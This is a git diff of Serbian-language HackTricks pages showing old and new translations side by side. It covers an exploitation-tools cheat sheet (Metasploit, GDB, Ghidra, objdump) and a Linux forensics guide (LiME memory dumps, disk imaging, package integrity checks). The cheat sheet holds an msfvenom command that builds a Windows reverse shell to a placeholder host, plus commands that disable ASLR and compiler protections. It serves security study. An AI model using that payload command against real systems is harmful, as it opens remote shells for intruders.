* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
@ -552,16 +542,17 @@ Sastoji se u cementiranju memorije putem rezervacija i oslobađanja kako bi se o
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF-u** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove podnošenjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Alati za iskorišćavanje # Alati za Eksploataciju
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Metasploit ## Metasploit
``` ```
@ -22,13 +23,13 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01 msfelfscan -j esi /opt/fusion/bin/level01
``` ```
### Shellkodovi ### Shellcodes
``` ```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
``` ```
## GDB ## GDB
### Instalacija ### Instaliraj
``` ```
apt-get install gdb apt-get install gdb
``` ```
@ -124,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176' [+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely [+] Found at offset 184 (little-endian search) likely
``` ```
### Trikovi ### Tricks
#### GDB iste adrese #### GDB iste adrese
Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja.** Možete postaviti da GDB ima iste adrese tako što ćete uraditi sledeće: Dok debagujete, GDB će imati **malo drugačije adrese od onih koje koristi binarni fajl kada se izvršava.** Možete učiniti da GDB ima iste adrese tako što ćete:
* `unset env LINES` * `unset env LINES`
* `unset env COLUMNS` * `unset env COLUMNS`
* `set env _=<putanja>` _Stavite apsolutnu putanju do binarnog fajla_ * `set env _=<path>` _Stavite apsolutnu putanju do binarnog fajla_
* Iskoristite binarni fajl koristeći istu apsolutnu putanju * Iskoristite binarni fajl koristeći istu apsolutnu putanju
* `PWD` i `OLDPWD` moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla * `PWD` i `OLDPWD` moraju biti isti kada koristite GDB i kada iskorišćavate binarni fajl
#### Backtrace za pronalaženje pozvanih funkcija #### Backtrace za pronalaženje pozvanih funkcija
Kada imate **statički povezan binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati kako bi na primer zatražio korisnički unos**.\ Kada imate **staticki povezani binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati da bi, na primer, zatražio korisnički unos.**\
Ovaj tok možete lako identifikovati **pokretanjem** binarnog fajla sa **gdb** sve dok vas ne zatraže unos. Zatim ga zaustavite sa **CTRL+C** i koristite komandu **`bt`** (**backtrace**) da vidite pozvane funkcije: Možete lako identifikovati ovaj tok tako što ćete **pokrenuti** binarni fajl sa **gdb** dok ne budete zatraženi za unos. Zatim, zaustavite ga sa **CTRL+C** i koristite **`bt`** (**backtrace**) komandu da vidite pozvane funkcije:
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -150,56 +151,56 @@ gef➤ bt
``` ```
### GDB server ### GDB server
`gdbserver --multi 0.0.0.0:23947` (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini) `gdbserver --multi 0.0.0.0:23947` (u IDA morate uneti apsolutnu putanju izvršne datoteke na Linux mašini i na Windows mašini)
## Ghidra ## Ghidra
### Pronalaženje offseta steka ### Pronađi offset steka
**Ghidra** je veoma koristan za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\ **Ghidra** je veoma korisna za pronalaženje **offset-a** za **buffer overflow zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanarina, to ukazuje da je potreban offset od `0xac` da bi se prepisao iz `local_bc`.\ Na primer, u primeru ispod, buffer flow u `local_bc` ukazuje da vam je potreban offset od `0xbc`. Štaviše, ako je `local_10` kanarska kolačić, to ukazuje da da biste ga prepisali iz `local_bc` postoji offset od `0xac`.\
_Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._ _Pamti da prvih 0x08 odakle se čuva RIP pripada RBP-u._
![](<../../.gitbook/assets/image (616).png>) ![](<../../.gitbook/assets/image (616).png>)
## GCC ## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\ **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliraj bez zaštita\
**-o** --> Izlaz\ **-o** --> Izlaz\
**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\ **-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR u Linuxu **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Da deaktivirate ASLR u linuxu
**Za kompajliranje shell koda:**\ **Da kompajlirate shellcode:**\
**nasm -f elf assembly.asm** --> vraća ".o"\ **nasm -f elf assembly.asm** --> vraća ".o"\
**ld assembly.o -o shellcodeout** --> Izvršno **ld assembly.o -o shellcodeout** --> Izvršna datoteka
## Objdump ## Objdump
**-d** --> **Razmontiraj izvršne** sekcije (vidi op-kodove kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\ **-d** --> **Disasembliraj izvršne** sekcije (vidi opkode kompajliranog shellcode-a, pronađi ROP Gadgets, pronađi adresu funkcije...)\
**-Mintel** --> **Intel** sintaksa\ **-Mintel** --> **Intel** sintaksa\
**-t** --> **Tabela simbola**\ **-t** --> **Tabela** simbola\
**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\ **-D** --> **Disasembliraj sve** (adresa statičke promenljive)\
**-s -j .dtors** --> dtors sekcija\ **-s -j .dtors** --> dtors sekcija\
**-s -j .got** --> got sekcija\ **-s -j .got** --> got sekcija\
\-D -s -j .plt --> **plt** sekcija **dekompilirana**\ \-D -s -j .plt --> **plt** sekcija **dekompilirana**\
**-TR** --> **Relokacije**\ **-TR** --> **Relokacije**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za modifikaciju u GOT\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za modifikaciju u GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa statičke promenljive (one su smeštene u DATA sekciji). **objdump -D ./exec | grep "VAR\_NAME"** --> Adresa ili statičke promenljive (one se čuvaju u DATA sekciji).
## Core dumps ## Core dumps
1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa 1. Pokrenite `ulimit -c unlimited` pre nego što pokrenete moj program
2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<putanja/core> --quiet 3. sudo gdb --core=\<putanja/core> --quiet
## Više ## Više
**ldd executable | grep libc.so.6** --> Adresa (ako je ASLR, onda se menja svaki put)\ **ldd izvršna datoteka | grep libc.so.6** --> Adresa (ako je ASLR, onda se ovo menja svaki put)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Petlja za proveru da li se adresa često menja\ **for i in \`seq 0 20\`; do ldd \<Izvršna datoteka> | grep libc; done** --> Petlja da vidite da li se adresa mnogo menja\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh" **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
**strace executable** --> Funkcije pozvane od strane izvršnog fajla\ **strace izvršna datoteka** --> Funkcije koje poziva izvršna datoteka\
**rabin2 -i ejecutable -->** Adresa svih funkcija **rabin2 -i ejecutable -->** Adresa svih funkcija
## **Inmunity debugger** ## **Inmunity debugger**
@ -209,26 +210,27 @@ _Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
``` ```
## IDA ## IDA
### Debagovanje na udaljenom Linuxu ### Debugging u udaljenom linuxu
Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar Linuxa. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku: Unutar IDA fascikle možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar linuxa. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ unutar linux servera i pokrenite je unutar fascikle koja sadrži binarnu datoteku:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
Zatim, konfigurišite debager: Debager (udaljeni Linux) --> Opcije procesa...: Zatim, konfigurišite debager: Debugger (linux remote) --> Opcije procesa...:
![](<../../.gitbook/assets/image (101).png>) ![](<../../.gitbook/assets/image (101).png>)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Forenzika na Linuxu # Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Inicijalno prikupljanje informacija ## Početno prikupljanje informacija
### Osnovne informacije ### Osnovne informacije
Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB, i izmenite okružne promenljive da biste koristili te binarne fajlove: Prvo, preporučuje se da imate neki **USB** sa **dobro poznatim binarnim datotekama i bibliotekama** (možete jednostavno preuzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB i modifikujte env varijable da koristite te binarne datoteke:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
Kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**: Kada konfigurišete sistem da koristi dobre i poznate binarne datoteke, možete početi sa **ekstrakcijom nekih osnovnih informacija**:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### Sumnjive informacije #### Sumnjive informacije
Prilikom dobijanja osnovnih informacija trebalo bi proveriti čudne stvari kao što su: Dok prikupljate osnovne informacije, trebali biste proveriti čudne stvari kao što su:
- **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati * **Root procesi** obično se pokreću sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
- Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd` * Proverite **registrovane prijave** korisnika bez shel-a unutar `/etc/passwd`
- Proverite **hash-ove lozinki** unutar `/etc/shadow` za korisnike bez ljuske * Proverite **hash-eve lozinke** unutar `/etc/shadow` za korisnike bez shel-a
### Damp memorije ### Dump memorije
Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\ Da biste dobili memoriju pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi mašina žrtva. Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi žrtvinska mašina.
{% hint style="info" %} {% hint style="info" %}
Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će to izvršiti nekoliko promena na njoj Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvinskoj mašini jer će to napraviti nekoliko promena na njoj
{% endhint %} {% endhint %}
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\ Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel headerima. Da biste **dobili tačne kernel headere** mašine žrtve, jednostavno **kopirajte direktorijum** `/lib/modules/<kernel verzija>` na svoju mašinu, a zatim **kompajlirajte** LiME koristeći ih: U drugim slučajevima, potrebno je da preuzmete [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirate ga sa ispravnim kernel header-ima. Da biste **dobili tačne kernel header-e** žrtvinske mašine, možete jednostavno **kopirati direktorijum** `/lib/modules/<kernel version>` na vašu mašinu, a zatim **kompajlirati** LiME koristeći ih:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiME podržava 3 **formata**: LiME podržava 3 **formata**:
* Sirovi (svaki segment je konkateniran zajedno) * Raw (svaki segment spojeni zajedno)
* Padded (isti kao sirovi, ali sa nulama na desnoj strani) * Padded (isto kao raw, ali sa nulama u desnim bitovima)
* Lime (preporučeni format sa metapodacima) * Lime (preporučeni format sa metapodacima)
LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuvanja na sistemu korišćenjem nečega poput: `path=tcp:4444` LiME se takođe može koristiti za **slanje dump-a putem mreže** umesto da se čuva na sistemu koristeći nešto poput: `path=tcp:4444`
### Snimanje diska ### Disk Imaging
#### Gašenje #### Isključivanje
Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da si priušti da isključi.\ Prvo, potrebno je **isključiti sistem**. Ovo nije uvek opcija jer neki sistemi mogu biti produkcijski serveri koje kompanija ne može priuštiti da isključi.\
Postoje **2 načina** gašenja sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će dozvoliti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe dozvoliti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti izgubljeno mnogo informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi povodom toga. Stoga, ako **sumnjate** da postoji **malver**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač. Postoje **2 načina** za isključivanje sistema, **normalno isključivanje** i **"isključi kabl" isključivanje**. Prvi će omogućiti da se **procesi završe kao obično** i da se **fajl sistem** **sinhronizuje**, ali će takođe omogućiti mogućem **malware-u** da **uništi dokaze**. Pristup "isključi kabl" može doneti **neki gubitak informacija** (neće se mnogo informacija izgubiti jer smo već uzeli sliku memorije) i **malware neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malware**, jednostavno izvršite **`sync`** **komandu** na sistemu i isključite kabl.
#### Pravljenje slike diska #### Uzimanje slike diska
Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim što je povezano sa slučajem**, morate biti sigurni da će biti **montiran samo za čitanje** kako biste izbegli menjanje bilo kakvih informacija. Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim vezanim za slučaj**, morate biti sigurni da će biti **montiran kao samo za čitanje** kako biste izbegli modifikaciju bilo kojih informacija.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -98,9 +99,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file> dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
``` ```
### Predanaliza slike diska ### Disk Image pre-analysis
Kreiranje slike diska bez dodatnih podataka. Imaging a disk image with no more data.
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -156,36 +157,36 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Pretraga poznatih Malvera ## Pretraživanje poznatog Malware-a
### Modifikovane sistemskih datoteka ### Izmenjene sistemske datoteke
Linux nudi alate za osiguravanje integriteta sistemskih komponenti, ključnih za otkrivanje potencijalno problematičnih datoteka. Linux nudi alate za osiguranje integriteta sistemskih komponenti, što je ključno za uočavanje potencijalno problematičnih datoteka.
* **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru. * **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da identifikujete bilo kakve probleme. * **Sistemi zasnovani na Debian-u**: `dpkg --verify` za inicijalnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instalacije `debsums` sa `apt-get install debsums`) za identifikaciju bilo kakvih problema.
### Detektori Malvera/Rootkita ### Detektori Malware-a/Rootkit-a
Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malvera: Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malware-a:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
{% endcontent-ref %} {% endcontent-ref %}
## Pretraga instaliranih programa ## Pretraživanje instaliranih programa
Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistema logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima. Da biste efikasno pretražili instalirane programe na sistemima Debian i RedHat, razmotrite korišćenje sistemskih logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
